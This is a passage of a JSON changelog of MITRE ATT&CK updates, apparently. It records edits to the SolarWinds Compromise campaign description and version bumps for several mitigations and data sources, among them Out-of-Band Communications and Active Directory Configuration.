CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \\n\\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) \", \"old_value\": \"The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \\n\\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \\n+The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \\n \\n In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1The [SolarWinds Compromise](https://attack.mitre.org/campaigt1The [SolarWinds Compromise](https://attack.mitre.org/campaig
>ns/C0024) was a sophisticated supply chain cyber operation c>ns/C0024) was a sophisticated supply chain cyber operation c
>onducted by [APT29](https://attack.mitre.org/groups/G0016) t>onducted by [APT29](https://attack.mitre.org/groups/G0016) t
>hat was discovered in mid-December 2020. [APT29](https://att>hat was discovered in mid-December 2020. [APT29](https://att
>ack.mitre.org/groups/G0016) used customized malware to injec>ack.mitre.org/groups/G0016) used customized malware to injec
>t malicious code into the SolarWinds Orion software build pr>t malicious code into the SolarWinds Orion software build pr
>ocess that was later distributed through a normal software u>ocess that was later distributed through a normal software u
>pdate; they also used password spraying, token theft, API ab>pdate; they also used password spraying, token theft, API ab
>use, spear phishing, and other supply chain attacks to compr>use, spear phishing, and other supply chain attacks to compr
>omise user accounts and leverage their associated access. Vi>omise user accounts and leverage their associated access. Vi
>ctims of this campaign included government, consulting, tech>ctims of this campaign included government, consulting, tech
>nology, telecom, and other organizations in North America, E>nology, telecom, and other organizations in North America, E
>urope, Asia, and the Middle East. Industry reporting initial>urope, Asia, and the Middle East. This activity has been lab
>ly referred to the actors involved in this campaign as UNC24>led the StellarParticle campaign in industry reporting.(Cita
>52, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Ci>tion: CrowdStrike StellarParticle January 2022) Industry rep
>tation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds S>orting also initially referred to the actors involved in thi
>unburst Sunspot Update January 2021)(Citation: FireEye SUNBU>s campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(
>RST Backdoor December 2020)(Citation: Volexity SolarWinds)(C>Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds
>itation: CrowdStrike StellarParticle January 2022)(Citation:> Sunburst Sunspot Update January 2021)(Citation: FireEye SUN
> Unit 42 SolarStorm December 2020)(Citation: Microsoft Analy>BURST Backdoor December 2020)(Citation: Volexity SolarWinds)
>zing Solorigate Dec 2020)(Citation: Microsoft Internal Solor>(Citation: CrowdStrike StellarParticle January 2022)(Citatio
>igate Investigation Blog)   In April 2021, the US and UK gov>n: Unit 42 SolarStorm December 2020)(Citation: Microsoft Ana
>ernments attributed the [SolarWinds Compromise](https://atta>lyzing Solorigate Dec 2020)(Citation: Microsoft Internal Sol
>ck.mitre.org/campaigns/C0024) to Russia's Foreign Intelligen>origate Investigation Blog)   In April 2021, the US and UK g
>ce Service (SVR); public statements included citations to [A>overnments attributed the [SolarWinds Compromise](https://at
>PT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and>tack.mitre.org/campaigns/C0024) to Russia's Foreign Intellig
> The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Apri>ence Service (SVR); public statements included citations to 
>l 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Cita>[APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, a
>tion: Mandiant UNC2452 APT29 April 2022) The US government a>nd The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Ap
>ssessed that of the approximately 18,000 affected public and>ril 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Ci
> private sector customers of Solar Winds\u2019 Orion product, a m>tation: Mandiant UNC2452 APT29 April 2022) The US government
>uch smaller number were compromised by follow-on [APT29](htt> assessed that of the approximately 18,000 affected public a
>ps://attack.mitre.org/groups/G0016) activity on their system>nd private sector customers of Solar Winds\u2019 Orion product, a
>s.(Citation: USG Joint Statement SolarWinds January 2021) > much smaller number were compromised by follow-on [APT29](h
 >ttps://attack.mitre.org/groups/G0016) activity on their syst
 >ems.(Citation: USG Joint Statement SolarWinds January 2021) 
" + } + ], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [ + { + "type": "course-of-action", + "id": "course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-30 13:08:10.349000+00:00", + "modified": "2024-10-12 15:34:54.912000+00:00", + "name": "Out-of-Band Communications Channel", + "description": "Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1060", + "external_id": "M1060" + }, + { + "source_name": "NIST Special Publication 800-53 Revision 5", + "description": "National Institute of Standards and Technology. (2020, September). Security and Privacy Controlsfor Information Systems and Organizations. Retrieved August 30, 2024.", + "url": "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf" + }, + { + "source_name": "TrustedSec OOB Communications", + "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.", + "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "course-of-action", + "id": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06 16:39:58.291000+00:00", + "modified": "2024-10-08 17:01:33.131000+00:00", + "name": "Active Directory Configuration", + "description": "Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include:\n\n* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities.\n* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems.\n* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries.\n* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access.\n* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1015", + "external_id": "M1015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-08 17:01:33.131000+00:00\", \"old_value\": \"2020-05-29 16:34:40.344000+00:00\"}, \"root['description']\": {\"new_value\": \"Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include:\\n\\n* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities.\\n* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems.\\n* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries.\\n* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access.\\n* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks.\", \"old_value\": \"Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,7 @@\\n-Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.\\n+Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include:\\n+\\n+* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities.\\n+* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems.\\n+* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries.\\n+* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access.\\n+* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Configure Active Directory to prevent use of certain techniqt1Implement robust Active Directory configurations using group
>ues; use SID Filtering, etc.> policies to control access and reduce the attack surface. S
 >pecific examples include:  * Account Configuration: Use prov
 >isioned domain accounts rather than local accounts to levera
 >ge centralized control and auditing capabilities. * Interact
 >ive Logon Restrictions: Enforce group policies that prohibit
 > interactive logons for accounts that should not directly ac
 >cess systems. * Remote Desktop Settings: Limit Remote Deskto
 >p logons to authorized accounts to prevent misuse by adversa
 >ries. * Dedicated Administrative Accounts: Create specialize
 >d domain-wide accounts that are restricted from interactive 
 >logons but can perform specific tasks like installations or 
 >repository access. * Authentication Silos: Configure Authent
 >ication Silos in Active Directory to create access zones wit
 >h restrictions based on membership in the Protected Users gl
 >obal security group. This setup enhances security by applyin
 >g additional protections to high-risk accounts, limiting the
 >ir exposure to potential attacks.
" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "course-of-action", + "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 17:06:14.029000+00:00", + "modified": "2024-10-17 18:53:08.707000+00:00", + "name": "Audit", + "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1047", + "external_id": "M1047" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:53:08.707000+00:00\", \"old_value\": \"2023-03-31 14:50:47.704000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2" + }, + { + "type": "course-of-action", + "id": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 16:47:12.859000+00:00", + "modified": "2024-10-17 18:53:26.963000+00:00", + "name": "Credential Access Protection", + "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1043", + "external_id": "M1043" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:53:26.963000+00:00\", \"old_value\": \"2022-10-21 15:51:57.176000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "course-of-action", + "id": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 16:35:25.488000+00:00", + "modified": "2024-10-17 18:53:48.791000+00:00", + "name": "Execution Prevention", + "description": "Block execution of code on a system through application control, and/or script blocking.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1038", + "external_id": "M1038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:53:48.791000+00:00\", \"old_value\": \"2022-02-28 19:50:41.210000+00:00\"}}}", + "previous_version": "1.2" + }, + { + "type": "course-of-action", + "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 16:33:55.337000+00:00", + "modified": "2024-10-17 18:54:05.785000+00:00", + "name": "Filter Network Traffic", + "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1037", + "external_id": "M1037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:54:05.785000+00:00\", \"old_value\": \"2020-06-20 20:46:36.342000+00:00\"}}}", + "previous_version": "1.1" + }, + { + "type": "course-of-action", + "id": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11 16:26:52.202000+00:00", + "modified": "2024-10-17 18:54:20.898000+00:00", + "name": "Limit Software Installation", + "description": "Block users or groups from installing unapproved software.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1033", + "external_id": "M1033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:54:20.898000+00:00\", \"old_value\": \"2019-06-11 16:26:52.202000+00:00\"}}}", + "previous_version": "1.0" + }, + { + "type": "course-of-action", + "id": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10 20:46:02.263000+00:00", + "modified": "2024-10-17 18:54:36.723000+00:00", + "name": "Network Intrusion Prevention", + "description": "Use intrusion detection signatures to block traffic at network boundaries.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1031", + "external_id": "M1031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:54:36.723000+00:00\", \"old_value\": \"2019-06-10 20:46:02.263000+00:00\"}}}", + "previous_version": "1.0" + }, + { + "type": "course-of-action", + "id": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06 21:09:47.115000+00:00", + "modified": "2024-10-17 18:55:04.576000+00:00", + "name": "Privileged Account Management", + "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1026", + "external_id": "M1026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:55:04.576000+00:00\", \"old_value\": \"2020-03-31 13:08:36.655000+00:00\"}}}", + "previous_version": "1.1" + }, + { + "type": "course-of-action", + "id": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06 16:50:04.963000+00:00", + "modified": "2024-10-17 18:55:19.798000+00:00", + "name": "User Training", + "description": "Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1017", + "external_id": "M1017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-17 18:55:19.798000+00:00\", \"old_value\": \"2020-10-21 19:08:13.228000+00:00\"}}}", + "previous_version": "1.2" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Active Directory", + "description": "A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8", + "created": "2021-10-20T15:05:19.274Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0026", + "external_id": "DS0026" + }, + { + "source_name": "Microsoft AD DS Getting Started", + "description": "Foulds, I. et al. (2018, August 7). AD DS Getting Started. Retrieved September 23, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-03-30T14:26:51.803Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][1]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Application Log", + "description": "Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4", + "created": "2021-10-20T15:05:19.272Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0015", + "external_id": "DS0015" + }, + { + "source_name": "Confluence Logs", + "description": "Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-05-11T14:00:00.188Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": 